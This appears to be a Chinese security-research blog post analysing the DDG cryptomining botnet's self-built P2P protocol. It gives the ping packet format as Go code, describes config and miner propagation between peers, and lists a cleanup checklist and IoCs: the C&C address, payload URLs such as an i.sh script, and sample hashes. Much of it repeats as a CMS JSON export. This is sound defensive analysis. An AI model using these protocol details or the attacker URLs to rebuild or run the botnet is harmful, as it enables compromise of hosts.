在与 xhub 通信过后，DDG 样本就开始与自身持有的 200 个 Peers 进行通信。 Peers 之间的通信有 4 个关键步骤：
1. Ping/Pong
2. 拉取对方的 slave config 和 jobs config；
3. 拉取对方的其他恶意组件，比如恶意矿机程序和 Busybox 二进制程序；
4. 响应(服务)别的 Peers 的以上 3 种请求
3.3.1 Ping/Pong
DDG 一旦成功与某个 Peer 建立连接，会至少经过 2 轮 Ping/Pong 通信，间隔 30s ，对端响应的 Pong 包与 Ping 包完全相同，长度为 3 Bytes：
3 Bytes 的 Ping 包生成规则如下：
* 第 1 字节为 0x00；
* 第 3 字节在 (0, 0xFF] 中随机产生；
* 第 2 字节为第 3 字节与 0x42 XOR 运算的结果。
Go 语言代码描述如下：
// Generate ping packet bytes
func GenPingbytes(globalRand *rand.Rand) []byte {
pkt := make([]byte, 3)
pkt[0] = 0x00
pkt[2] = byte((globalRand.Intn(0xFE) + 1) & 0xFF)
pkt[1] = (pkt[2] ^ 0x42) & 0xFF
return pkt
}
3.3.2 传播 slave/jobs config data
经过 2 轮的 Ping/Pong 通信，DDG 会随机选成功通信的 Peers 向对方请求拉取 slave config 或 jobs config，请求方式类似于上面向 xhub 请求 jobs config，以拉取对方 slave config 为例：
值得注意的两点：
1. DDG Peers 之间发送 HTTP Post 请求，HTTP Request Header 中相比请求 xhub 时少了一个 X-Port。
2. 发往 Peer 的 HTTP 请求，复用了前面 Ping/Pong 通信中用到的 TCP 连接，即同一个 TCP Session，刚开始用来 Ping/Pong 交互，后面直接基于这个 TCP Session 发送 HTTP 请求、接收 HTTP 响应，所以 HTTP Header 中 Host 字段里随机生成的域名并不会经过 DNS 解析。
对端响应的 slave config 数据，是经 msgpack 序列化编码过的二进制数据，数据格式与旧版本变化不大，解码方式可以参考 以 P2P 的方式追踪 DDG 。最新解码后的 slave config 数据已上传到 Github：
https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/data/slave.json
解码后的 slave config 数据包含自身数据的数字签名，DDG 样本会以此校验 slave config 数据，校验时用到的 RSA 公钥硬编码在样本中：
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1+/izrOGcigBPC+oXnr2
S3JI76iXxqn7e9ONAmNS+m5nLQx2g0GW44TFtMHhDp1lPdUIui1b1odu36i7Cf0g
31vdYi1i6nGfXiI7UkHMsLVkGkxEknNL1c1vv0qE1b2i2o4TlcXHKHWOPu4xrpYY
m3Fqjni0n5+cQ8IIcVyjkX7ON0U1n8pQKRWOvrsPhO6tvJnLckK0P1ycGOcgNiBm
sdA5WDjw3sg4xWCQ9EEpMeB0H1UF/nv7AZQ0etncMxhiWoBxamuPWY/KS3wZStUd
gsMBOAOOpnbxL9N+II7uquQQkMmO6HriXRmjw14OmSBEoEcFMWF2j/0HPVasOcx2
xQIDAQAB
-----END PUBLIC KEY-----
3.3.3 下载恶意组件
没有被选中拉取 slave config 和 jobs config 的 Peer，DDG 会继续与他们的 Ping/Pong 通信。从某个 Peer 拉取的 slave config 中指定了恶意矿机程序 Miner 的下载 URI、本地存放路径和 MD5，DDG 接下来会随机选取另一个 Ping/Pong 中的 Peer，复用 Ping/Pong 的 TCP Session，通过 HTTP 协议向其发起 Miner 的下载请求：
下载到的恶意矿机程序，DDG 不仅会将其存放到 slave config 中指定的本地路径，还会连同 HTTP Response Header 中的 X-Sig 内容作为矿机程序的数字签名数据一起放到自己创建的工作目录中：
/var/lib/.jsfc
├── 5023
│ └── cache
│ └── static
│ ├── bb3
│ │ ├── busybox.x86_64
│ │ └── busybox.x86_64.sig
│ ├── wordpress
│ └── wordpress.sig
└── .local
DDG 从 Peer 下载已编译的 Busybox 程序的过程同上。
3.3.4 响应其他 Peers 的请求
P2P 协议中，Peers 之间的功能、角色是对等的。DDG 样本既然可以从其他 Peer 那里拉取数据和文件，自然也可以响应其他 Peer 的对等请求。
当 Peer 来请求 slave config或 jobs config 时，DDG 样本会从内存中整理好一份自己持有的数据，经过与前面阐述的解码、解密相反的编码、加密处理，返回给 Peer。
当 Peer 来请求下载矿机程序(比如上面的 wordpress 文件)或已编译好的 Busybox 程序时，DDG 样本会检查自己的工作目录的 cache 子目录中是否已经缓存了相应文件，如果缓存了相应文件并且签名有效，就会返回给 Peer。
另外的问题是，很多 DDG 控制的失陷主机都在内网，不一定可以穿透 NAT 对外提供这种服务。所以跟踪程序无法通过 P2P 机制跟踪到所有的 Bot。
3.3.5 Peers 之间的 Proxy 特性
DDG 的 P2P 机制中，还有一个有意思的特性：Peer 的 Proxy 功能。
当某个 Peer 来请求下载矿机程序或 Busybox 程序时，如果 DDG 经过检查发现自己工作目录中暂时不存在相应文件，它就会把自己作为一个 Proxy，向自己成功连接的其他 Peer 随机发送相应的下载请求。如果成功下载，就会返回给向自己请求下载文件的 Peer。
4. 总结
DDG 经过两年多的发展，从最初简单的挖矿木马，到借用第三方协议框架构建简单的 P2P 网络，到现在自研 P2P 协议，已经演化成了一个复杂的 P2P 僵尸网络。可能这是第一个 P2P 结构的挖矿僵尸网络。如果你怀疑自己的主机被 DDG 入侵，建议从以下几个方面排查、处置：
1. 检查 /var/spool/cron/root 和 /var/spool/cron/crontabs/root 是否存在恶意 Cron Jobs
2. 检查 ~/.ssh/authorized_keys 文件中是否存在恶意 SSH Public Key
3. 检查 /var/lib/ , /usr/local/ 目录下的隐藏目录，是否存在 DDG 工作目录
4. 检查 /usr/bin/, /usr/local/bin/ 目录下是否存在可疑 ELF 文件
5. 检查 /etc/hosts 文件是否被写入恶意内容
5. IoCs
C&C:
67.205.168.20:8000
URLs:
http://67.205.168.20:8000/i.sh
http://67.205.168.20:8000/static/wordpress
http://67.205.168.20:8000/static/bb3/busybox.x86_64
http://67.205.168.20:8000/static/bb3/busybox.i686
MD5s:
5e2e0564ee03c743b50e4798c1041cea 5009/ddgs.i686
ea3d5d224ed7474159936f727db7555d 5009/ddgs.x86_64
05d7e2c36d5c58b26b00ca80ee7d8abe 5012/ddgs.i686
38fb3221d43d743a0de12d494ad60669 5012/ddgs.x86_64
91217bdbcc9f5663aac47b9fe803d4c7 5013/ddgs.i686
02e645c3bdd84d7a44b7aefc0f6d9e74 5013/ddgs.x86_64
5f4587df10ba4b3e7b46eb8b46d249bd 5014/ddgs.i686
e956e5b97cd0b73057980d735ee92974 5014/ddgs.x86_64
8e44e7a361c4d91c670072e049e6d729 5015/ddgs.i686
7f87c72701576da704056b38f6fae1ce 5015/ddgs.x86_64
6c164f25cabbcdc112192b1409ae73c5 5016/ddgs.i686
f84a0180ebf1596df4e8e8b8cfcedf63 5016/ddgs.x86_64
c2480ce231cc84130d878cb42bd072dd 5017/ddgs.i686
c8b416b148d461334ae52aa75c5bfa79 5017/ddgs.x86_64
66cd0c4c13670c32f43b0fd3304b0bf6 5018/ddgs.i686
dc87e9c91503cc8f2e8e3249cd0b52d7 5018/ddgs.x86_64
58c9a8561584dd1b70fbcb68b458f293 5019/ddgs.i686
682f839c1097af5fae75e0c5c39fa054 5019/ddgs.x86_64
28b2ee07f7a611d353efd8e037973bca 5020/ddgs.i686
495dfc4ba85fac2a93e7b3f19d12ea7d 5020/ddgs.x86_64
ffe204b87c5713733d5971e7479c0830 5021/ddgs.i686
d2a81a0284cdf5280103bee06d5fe928 5021/ddgs.x86_64
e2430bbeb49a11bfa30c6b01a28362c7 5022/ddgs.i686
e64b247d4cd9f8c58aedc708c822e84b 5022/ddgs.x86_64
d3a203cb0aa963529c0e4f8eccbf8c56 5023/ddgs.i686
2c4b9d01d2f244bb6530b48df99d04ae 5023/ddgs.x86_64
d146612bed765ba32200e0f97d0330c8 miner_1
d146612bed765ba32200e0f97d0330c8 miner_2 | {"version":"0.3.1","atoms":[["soft-return","",{}]],"cards":[["image",{"src":"__GHOST_URL__/content/images/2020/04/ddg_version_timeline-1.png","alt":"","title":"","caption":"DDG Version Timeline"}],["image",{"src":"__GHOST_URL__/content/images/2020/04/hybrid_p2p_network-2.png","alt":"","title":"","caption":"P2P Hybrid Model"}],["image",{"src":"__GHOST_URL__/content/images/2020/04/data_statics-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/04/slave_conf_aassh.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/04/cc_history_light.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/04/work_flow-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/04/b64Enc-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/04/xsig_verify-1.png","alt":"","title":""}],["code",{"code":"fOSIE4y3ZPcTuT7weiMSSr7-0-Vem5IfTxEbUirWGS9j5NsDJh2k54RsnK08lG-ECaHQ4ARiWy3mJs0O9HzBpP6iANY7cTHnPw_i-wNK7u8E7wfVYweLg5eKYe\n"}],["code",{"code":"0x8f, 0xfa, 0xca, 0x16, 0x49, 0x63, 0x63, 0x03, 0x77, 0x45, 0x15, 0x33, 0x4b, 0x64, 0xbb, 0x80,\n0xf4, 0x3c, 0xe0, 0x5b, 0x9c, 0x61, 0x9f, 0x74, 0xd7, 0x98, 0x5b, 0xfb, 0x0c, 0x82, 0x81, 0x79,\n0xf2, 0x7c, 0x0c, 0x4a, 0x4a, 0x47, 0x06, 0x78, 0x6e, 0x62, 0xf1, 0x71, 0x51, 0xbf, 0x12, 0xda,\n0x77, 0x5c, 0x23, 0xfd, 0x78, 0xa6, 0x6a, 0xbc, 0x6c, 0x9a, 0xd2, 0xc8, 0xb7, 0xb4, 0x83, 0x0d"}],["code",{"code":"0x20, 0x0A, 0x51, 0x81, 0x91, 0xE9, 0xF2, 0x54,\n0x78, 0xFC, 0x1E, 0x66, 0x7B, 0x8F, 0x8D, 0xAC,\n0xCF, 0x62, 0x28, 0x18, 0x46, 0xEC, 0x45, 0x7C,\n0xF5, 0xC3, 0xBA, 0x4C, 0x86, 0xB0, 0xB5, 0x41\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/04/xseeds_raw-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/04/decPasswd-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/04/passwds_raw-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/04/passwds_cipherdata-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/04/passwd_list-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/04/init_global_edKeys-1.png","alt":"","title":""}],["code",{"code":"0x5C, 0x9E, 0xAE, 0xAE, 0x43, 0x26, 0xB7, 0xA2,\n0x52, 0xDC, 0x43, 0xF9, 0xBD, 0x3F, 0xD1, 0xA6,\n0xC8, 0xB0, 0x28, 0xE1, 0xDF, 0xA8, 0xB0, 0xF5,\n0xCF, 0x43, 0xE7, 0x82, 0xD1, 0x90, 0x11, 0x6B\n"}],["code",{"code":"/var/lib/.jsfc\n├── 5023\n│ └── cache\n│ └── static\n│ ├── bb3\n│ │ ├── busybox.x86_64\n│ │ └── busybox.x86_64.sig\n│ ├── wordpress\n│ └── wordpress.sig\n└── .local\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/04/cipherdata_struct-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/04/monitor_fs-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/04/xhub_jobs-1.png","alt":"","title":""}],["code",{"code":"LSDMiner\timg.sobot.com\nLSDMiner\tlsdu.b-cdn.net\nLSDMiner\tthyrsi.com\nLSDMiner\taliyun.one\nsystemdMiner\tan7kmd2wp4xo7hpr.onion.sh\nsystemdMiner\tan7kmd2wp4xo7hpr.tor2web.su\nsystemdMiner\taptgetgxqs3secda.onion.ly\nsystemdMiner\taptgetgxqs3secda.onion.pet\nsystemdMiner\tdns.rubyfish.cn\nsystemdMiner\taptgetgxqs3secda.onion.in.net\nsystemdMiner\taptgetgxqs3secda.tor2web.fyi\nsystemdMiner an7kmd2wp4xo7hpr.d2web.org\nsystemdMiner an7kmd2wp4xo7hpr.timesync.su\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/04/peer_pingpong-1.png","alt":"","title":""}],["code",{"code":"// Generate ping packet bytes\nfunc GenPingbytes(globalRand *rand.Rand) []byte {\n pkt := make([]byte, 3)\n pkt[0] = 0x00\n pkt[2] = byte((globalRand.Intn(0xFE) + 1) & 0xFF)\n pkt[1] = (pkt[2] ^ 0x42) & 0xFF\n\n return pkt\n}"}],["image",{"src":"__GHOST_URL__/content/images/2020/04/request_slave-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/04/slave_resp-1.png","alt":"","title":""}],["code",{"code":"-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1+/izrOGcigBPC+oXnr2\nS3JI76iXxqn7e9ONAmNS+m5nLQx2g0GW44TFtMHhDp1lPdUIui1b1odu36i7Cf0g\n31vdYi1i6nGfXiI7UkHMsLVkGkxEknNL1c1vv0qE1b2i2o4TlcXHKHWOPu4xrpYY\nm3Fqjni0n5+cQ8IIcVyjkX7ON0U1n8pQKRWOvrsPhO6tvJnLckK0P1ycGOcgNiBm\nsdA5WDjw3sg4xWCQ9EEpMeB0H1UF/nv7AZQ0etncMxhiWoBxamuPWY/KS3wZStUd\ngsMBOAOOpnbxL9N+II7uquQQkMmO6HriXRmjw14OmSBEoEcFMWF2j/0HPVasOcx2\nxQIDAQAB\n-----END PUBLIC KEY-----\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/04/download_miner-1.png","alt":"","title":""}],["code",{"code":"/var/lib/.jsfc\n├── 5023\n│ └── cache\n│ └── static\n│ ├── bb3\n│ │ ├── busybox.x86_64\n│ │ └── busybox.x86_64.sig\n│ ├── wordpress\n│ └── wordpress.sig\n└── .local\n"}],["code",{"code":"67.205.168.20:8000\n"}],["code",{"code":"http://67.205.168.20:8000/i.sh\nhttp://67.205.168.20:8000/static/wordpress\nhttp://67.205.168.20:8000/static/bb3/busybox.x86_64\nhttp://67.205.168.20:8000/static/bb3/busybox.i686\n"}],["code",{"code":"5e2e0564ee03c743b50e4798c1041cea 5009/ddgs.i686\nea3d5d224ed7474159936f727db7555d 5009/ddgs.x86_64\n05d7e2c36d5c58b26b00ca80ee7d8abe 5012/ddgs.i686\n38fb3221d43d743a0de12d494ad60669 5012/ddgs.x86_64\n91217bdbcc9f5663aac47b9fe803d4c7 5013/ddgs.i686\n02e645c3bdd84d7a44b7aefc0f6d9e74 5013/ddgs.x86_64\n5f4587df10ba4b3e7b46eb8b46d249bd 5014/ddgs.i686\ne956e5b97cd0b73057980d735ee92974 5014/ddgs.x86_64\n8e44e7a361c4d91c670072e049e6d729 5015/ddgs.i686\n7f87c72701576da704056b38f6fae1ce 5015/ddgs.x86_64\n6c164f25cabbcdc112192b1409ae73c5 5016/ddgs.i686\nf84a0180ebf1596df4e8e8b8cfcedf63 5016/ddgs.x86_64\nc2480ce231cc84130d878cb42bd072dd 5017/ddgs.i686\nc8b416b148d461334ae52aa75c5bfa79 5017/ddgs.x86_64\n66cd0c4c13670c32f43b0fd3304b0bf6 5018/ddgs.i686\ndc87e9c91503cc8f2e8e3249cd0b52d7 5018/ddgs.x86_64\n58c9a8561584dd1b70fbcb68b458f293 5019/ddgs.i686\n682f839c1097af5fae75e0c5c39fa054 5019/ddgs.x86_64\n28b2ee07f7a611d353efd8e037973bca 5020/ddgs.i686\n495dfc4ba85fac2a93e7b3f19d12ea7d 5020/ddgs.x86_64\nffe204b87c5713733d5971e7479c0830 5021/ddgs.i686\nd2a81a0284cdf5280103bee06d5fe928 5021/ddgs.x86_64\ne2430bbeb49a11bfa30c6b01a28362c7 5022/ddgs.i686\ne64b247d4cd9f8c58aedc708c822e84b 5022/ddgs.x86_64\nd3a203cb0aa963529c0e4f8eccbf8c56 5023/ddgs.i686\n2c4b9d01d2f244bb6530b48df99d04ae 5023/ddgs.x86_64\n\nd146612bed765ba32200e0f97d0330c8 miner_1\nd146612bed765ba32200e0f97d0330c8 miner_2"}]],"markups":[["strong"],["a",["href","https://jiayu0x.com/2019/11/19/decode-gob-data-in-ddg-v4005/"]],["a",["href","__GHOST_URL__/dog-recent-updates-p2p-adopted-and-anti-analysis-enhanced/"]],["a",["href","https://en.wikipedia.org/wiki/Peer-to-peer#Hybrid_models"]],["code"],["a",["href","https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/data/slave.json"]],["a",["href","https://github.com/0xjiayu/DDGBotnetTracker/tree/master/v1"]],["a",["href","https://github.com/0xjiayu/DDGBotnetTracker/tree/master/v2"]],["a",["href","http://msgpack.org/"]],["a",["href","https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/tools/xsig_verify.go"]],["a",["href","https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/tools/dec_seeds.go"]],["a",["href","https://github.com/boltdb/bolt"]],["a",["href","https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/tools/gen_workdir_name.go"]],["a",["href","https://github.com/fsnotify/fsnotify"]],["a",["href","https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v1/lib/util.go#L40"]],["a",["href","https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/data/jobs.json"]],["a",["href","https://twitter.com/hashtag/LSDMiner"]],["a",["href","https://twitter.com/hashtag/systemdMiner"]],["a",["href","https://jiayu0x.com/2019/04/11/track-ddg-botnet-by-p2p-protocol/#2-3-ddg-%E7%9A%84%E4%BA%91%E7%AB%AF%E9%85%8D%E7%BD%AE%E6%95%B0%E6%8D%AE"]]],"sections":[[1,"h2",[[0,[0],1,"1. 概述"]]],[1,"p",[[0,[],0,"DDG Mining Botnet 是一个活跃已久的挖矿僵尸网络，其主要的盈利方式是挖 XMR。从 2019.11 月份至今，我们的 Botnet 跟踪系统监控到 DDG Mining Botnet 一直在频繁跟新，其版本号和对应的更新时间如下图所示："]]],[10,0],[1,"p",[[0,[],0,"其中，v4005~v4011 版本最主要的更新是把以前以 Hex 形式硬编码进样本的 HubList 数据，改成了 "],[0,[1],1,"Gob 序列化"],[0,[],0,"的方式；v5009 及以后的版本，则摒弃了以前"],[0,[2],0,"基于 "],[0,[0],1,"Memberlist"],[0,[],1," 来构建 P2P 网络"],[0,[],0,"的方式，改用自研的 P2P 协议来构建"],[0,[3],1,"混合模式 P2P 网络"],[0,[],0," 。简化的网络结构如下："]]],[10,1],[1,"p",[[0,[],0,"右边服务器是 C&C Server，DDG 中称它为 "],[0,[0],1,"xhub"],[0,[],0," 节点，是一个超级节点，除了与各 Bot 相同的 P2P 通信功能之外，还具有以下功能："]]],[3,"ul",[[[0,[],0,"统计各 Peer 信息( Peer 会向它注册，上传自身信息)"]],[[0,[],0,"协助各 Peer 寻找到对方，xhub 节点里保存了大量的 P2P Peers 列表，它会在 Bot 向其注册的时候把一部分列表分享给 Bot；而每个 Bot 最多保存 200 条 Peers "],[0,[4],1,"<ip:port>"],[0,[],0," 列表；"]],[[0,[],0,"承载原始的恶意 Shell 脚本、主样本和其他组件的下载服务。"]]]],[1,"p",[[0,[],0,"我们的 Botnet 跟踪系统追踪到 DDG 当前的 "],[0,[0],1,"一部分"],[0,[],0," P2P Nodes(失陷主机)，最近每天平均可以追踪到 900 个 Nodes，其中可验证存活的比例达 98%:"]]],[10,2],[1,"p",[[0,[],0,"根据我们合作伙伴提供的统计数字，中国大陆境内活跃的 Bot 有17,590 个。根据我们的追踪数据，中国大陆境内的 Bot 数量约占总量的 86%，以此反推，DDG 目前在全球范围内的 Bot 数量约 20,000。"]]],[1,"p",[[0,[],0,"DDG 支持的传播途径，有以下 4 个："]]],[3,"ul",[[[0,[],0,"SSH 服务暴破；"]],[[0,[],0,"Redis 未授权访问漏洞；"]],[[0,[],0,"针对 Nexus Repository Manager 3 RCE 漏洞(CVE-2019-7238)的利用；"]],[[0,[],0,"针对 Supervisord RCE 漏洞(CVE-2017-11610)的利用。"]]]],[1,"p",[[0,[],0,"根据我们的追踪数据，DDG 最近一段时间一直没有开启公网传播，而只利用 SSH 暴破在内网传播。其内网传播的开关，在 "],[0,[0,5],2,"slave config"],[0,[],0," 里设置："]]],[10,3],[1,"p",[[0,[],0,"另外，根据我们对 DDG 过去一年的追踪统计，它从 2019.1 月份至今共用了 24 个 C&C，每个 CC 的活跃时段统计如下："]]],[10,4],[1,"p",[[0,[],0,"最后，旧版本的 DDG Botnet Tracker 已经无法工作，我们现已将其开源："]]],[1,"p",[[0,[0,6],2,"https://github.com/0xjiayu/DDGBotnetTracker/tree/master/v1"]]],[1,"p",[[0,[],0,"并且公开最新版本 DDG 相关的运行日志、相关数据和相应解析工具，以及一个基于 P2P 机制的 Pre-Built Demo Tracker Program(ELF Binary file):"]]],[1,"p",[[0,[0,7],2,"https://github.com/0xjiayu/DDGBotnetTracker/tree/master/v2"]]],[1,"h2",[[0,[0],1,"2. 样本关键行为分析"]]],[1,"p",[[0,[],0,"就 DDG 当前最新的 v5023 版本来看，DDG 有一些有趣的新特性："]]],[3,"ul",[[[0,[],0,"用特定算法生成一个 4 字符的目录名，并在 "],[0,[4],1,"/var/lib/"],[0,[],0," 或 "],[0,[4],1,"/usr/local/"],[0,[],0," 下创建相应的"],[0,[0],1,"隐藏目录"],[0,[],0,"作为工作目录，存放本地配置信息和从 C&C 或 P2P Peer 下载到的文件或数据；"]],[[0,[],0,"自定义 Base64 编码的编码表(Alphabet)；"]],[[0,[],0,"对关键数据和文件频繁使用编码(Base64/Adler32)、加密(AES)、压缩(Gzip)和数字签名(RSA/ED25519)手段，以对抗分析和数据伪造；"]],[[0,[],0,"除了以前的 "],[0,[0],1,"slave"],[0,[],0," Config 来控制 Bot 执行挖矿和传播任务，又新增了一个 "],[0,[0],1,"jobs"],[0,[],0," Config 文件来对 Bot 进行更复杂的任务控制；"]],[[0,[],0,"自研 P2P 协议，并以此在 Nodes 之间交换最新各自持有的 C&C、Nodes 列表和恶意任务指令配置等信息，还可以在 Peers 之间传播恶意组件。"]]]],[1,"p",[[0,[],0,"以 DDG v5023 版本的样本为例，其主要的执行流程，从恶意 Shell 脚本文件 "],[0,[0],1,"i.sh"],[0,[],0," 开始，如下所示："]]],[10,5],[1,"h3",[[0,[0],1,"2.1 恶意 Shell 脚本 i.sh"]]],[1,"p",[[0,[],0,"DDG 每成功入侵一台主机，就会先执行这个 "],[0,[0],1,"i.sh"],[0,[],0," 脚本。 "],[0,[0],1,"i.sh"],[0,[],0," 主要执行 3 个任务："]]],[3,"ol",[[[0,[],0,"篡改 Cron job，在 "],[0,[4],1,"/var/spool/cron/root"],[0,[],0," 和 "],[0,[4],1,"/var/spool/cron/crontabs/root"],[0,[],0," 写入恶意 Cron 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的解析、验证汇编代码如下："]]],[10,7],[1,"p",[[0,[],0,"DDG v5023 样本中内置的 "],[0,[0],1,"xhub"],[0,[],0," 数据为经过自定义 Alphabet Base64 编码过的字串："]]],[10,8],[1,"p",[[0,[],0,"经过 Base64 解码后，还需要用 "],[0,[8],1,"msgPack"],[0,[],0," 进行一层解码，才能得到 "],[0,[0],1,"xhub"],[0,[],0," 的原始明文数据。解析上面的编码数据，可以得到两个关键数据："]]],[3,"ul",[[[0,[],0,"C&C 列表，目前只有一个："],[0,[0],1,"67.205.168.20:8000"],[0,[],0,"；"]],[[0,[],0,"ed25519 Signature："]]]],[10,9],[1,"p",[[0,[],0,"样本中解出 C&C 列表和 ed25519 的 Signature 之后，就会用相反的步骤用 ed25519 算法来校验 C&C 列表是否被伪造。校验时用到的 RSA 公钥为："]]],[10,10],[1,"p",[[0,[0],1,"xhub"],[0,[],0," 数据的解析方法："],[1,[],0,0],[0,[9,0],2,"https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/tools/xsig_verify.go"]]],[1,"p",[[0,[0],1,"xSeeds"],[0,[],0," 包含 200 条 P2P Node "],[0,[4],1,"<ip:port>"],[0,[],0," 列表，数据量比较大，共 0x8E2 Bytes："]]],[10,11],[1,"p",[[0,[],0,"而且 DDG 样本对 xSeeds 解析步骤与 xhub 的解析略有不同，经过分析，xSeeds 经过以下 3 层处理，而不用 ed25519 校验："]]],[3,"ol",[[[0,[],0,"msgpack 序列化编码；"]],[[0,[],0,"gzip 压缩"]],[[0,[],0,"自定义 Alphabet 的 Base64 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语言实现如下："]]],[1,"p",[[0,[14],1,"https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v1/lib/util.go#L40"]]],[1,"h3",[[0,[0],1,"3.2 Peer <--> xhub"]]],[1,"p",[[0,[],0,"DDG 会首先向 xhub 如下 HTTP POST 请求："]]],[10,21],[1,"p",[[0,[],0,"以上 HTTP 通信中，"]]],[3,"ul",[[[0,[],0,"Request Header "],[0,[0],1,"Host"],[0,[],0,"，即为事先随即生成的域名。值得一提的是，"],[0,[0],1,"这个域名不会被 DNS 服务解析，因为以上 HTTP 通信是复用了已建立的 TCP Socket Session，在已有 TCP Socket 连接上 Send/Recv 数据并把数据用 HTTP 协议来解析而已"],[0,[],0,"。攻击者这样做，可能是为了逃避或混淆某些安全设备的流量检测；"]],[[0,[],0,"Request Header "],[0,[0],1,"X-Hub"],[0,[],0,"，即为 DDG 样本当前持有的硬编码在样本中的 xhub 信息，详见 2.2.2 节；"]],[[0,[],0,"Request Header "],[0,[0],1,"X-Port"],[0,[],0,"，即为 DDG 样本当前随即开启并监听的 P2P 通信端口；"]],[[0,[],0,"Request Header "],[0,[0],1,"X-Uid"],[0,[],0,"，即事先生成的 UID；"]],[[0,[],0,"Request Header "],[0,[0],1,"X-Relay"],[0,[],0,"，是 DDG 综合 "],[0,[0],1,"X-Uid"],[0,[],0," 和 "],[0,[0],1,"X-Port"],[0,[],0," 字段的值通过 "],[0,[0],1,"Adler"],[0,[],0," 算法算出来的校验值；"]],[[0,[],0,"Response Header "],[0,[0],1,"X-Seed"],[0,[],0,"，是对方从自己持有的 Peers 列表中随机选取的 20 个 Peers 地址列表信息，DDG 样本收到后会合入自身持有的 200 个 Peers 列表，总数不超过 200；"]],[[0,[],0,"Response Header "],[0,[0],1,"X-Hub"],[0,[],0,"，是对方持有的 "],[0,[0],1,"xhub"],[0,[],0," 信息，DDG 样本收到后会用它替换掉自身持有的 "],[0,[0],1,"xhub"],[0,[],0," 信息。"]]]],[1,"p",[[0,[],0,"最后，HTTP 响应中的 "],[0,[0],1,"jobs"],[0,[],0," config 数据，是经过 msgpack 序列化编码后又用 AES 加密过的数据，数据的组织结构与 gzip 解压后的样本内置弱口令字典数据相同，解析过程也完全相同。最新解密后的 "],[0,[0],1,"jobs"],[0,[],0," config 数据见："]]],[1,"p",[[0,[0,15],2,"https://github.com/0xjiayu/DDGBotnetTracker/blob/master/v2/data/jobs.json"]]],[1,"p",[[0,[],0,"从 "],[0,[0],1,"jobs"],[0,[],0," Config 的内容来看，攻击者对 Bot 的行为控制的更为复杂精细，该配置文件的核心功能在流程图里已有说明，此处总结如下："]]],[3,"ul",[[[0,[],0,"针对每个低级版本 DDG 都有不同的处理，或 Kill 或 Discard 或 Upgrade；"]],[[0,[],0,"引入了 Busybox 执行更复杂的命令，主要用来干掉竞争对手；"]],[[0,[],0,"干掉竞争对手的姿势复杂多样，杀进程、禁用服务、清除 SSH Key、删除 Cron Jobs，重置 Lock File 等等，最显眼的是通过篡改 "],[0,[4],1,"/etc/hosts"],[0,[],0," 文件屏蔽一大批竞争对手需要访问的域名。"]]]],[1,"p",[[0,[],0,"其中，最显眼的一部分配置，是 DDG 通过篡改 "],[0,[4],1,"/etc/hosts"],[0,[],0," 文件屏蔽竞争对手要访问的域名，大多数都是 "],[0,[16,0],2,"LSDMiner"],[0,[],0," 和 "],[0,[17,0],2,"systemdMiner"],[0,[],0," 相关的域名："]]],[10,22],[1,"h3",[[0,[0],1,"3.3 Peer <--> Peer"]]],[1,"p",[[0,[],0,"在与 "],[0,[0],1,"xhub"],[0,[],0," 通信过后，DDG 样本就开始与自身持有的 200 个 Peers 进行通信。 Peers 之间的通信有 4 个关键步骤："]]],[3,"ol",[[[0,[],0,"Ping/Pong"]],[[0,[],0,"拉取对方的 "],[0,[0],1,"slave"],[0,[],0," config 和 "],[0,[0],1,"jobs"],[0,[],0," config；"]],[[0,[],0,"拉取对方的其他恶意组件，比如恶意矿机程序和 Busybox 二进制程序；"]],[[0,[],0,"响应(服务)别的 Peers 的以上 3 种请求"]]]],[1,"h4",[[0,[0],1,"3.3.1 Ping/Pong"]]],[1,"p",[[0,[],0,"DDG 一旦成功与某个 Peer 建立连接，会至少经过 2 轮 Ping/Pong 通信，间隔 "],[0,[0],1,"30s"],[0,[],0," ，对端响应的 Pong 包与 Ping 包完全相同，长度为 "],[0,[0],1,"3 Bytes"],[0,[],0,"："]]],[10,23],[1,"p",[[0,[],0,"3 Bytes 的 Ping 包生成规则如下："]]],[3,"ul",[[[0,[],0,"第 1 字节为 0x00；"]],[[0,[],0,"第 3 字节在 (0, 0xFF] 中随机产生；"]],[[0,[],0,"第 2 字节为第 3 字节与 "],[0,[0],1,"0x42"],[0,[],0," XOR 运算的结果。"]]]],[1,"p",[[0,[],0,"Go 语言代码描述如下："]]],[10,24],[1,"h4",[[0,[0],1,"3.3.2 传播 slave/jobs config data"]]],[1,"p",[[0,[],0,"经过 2 轮的 Ping/Pong 通信，DDG 会随机选成功通信的 Peers 向对方请求拉取 "],[0,[0],1,"slave"],[0,[],0," config 或 "],[0,[0],1,"jobs"],[0,[],0," config，请求方式类似于上面向 "],[0,[0],1,"xhub"],[0,[],0," 请求 "],[0,[0],1,"jobs"],[0,[],0," config，以拉取对方 "],[0,[0],1,"slave"],[0,[],0," config 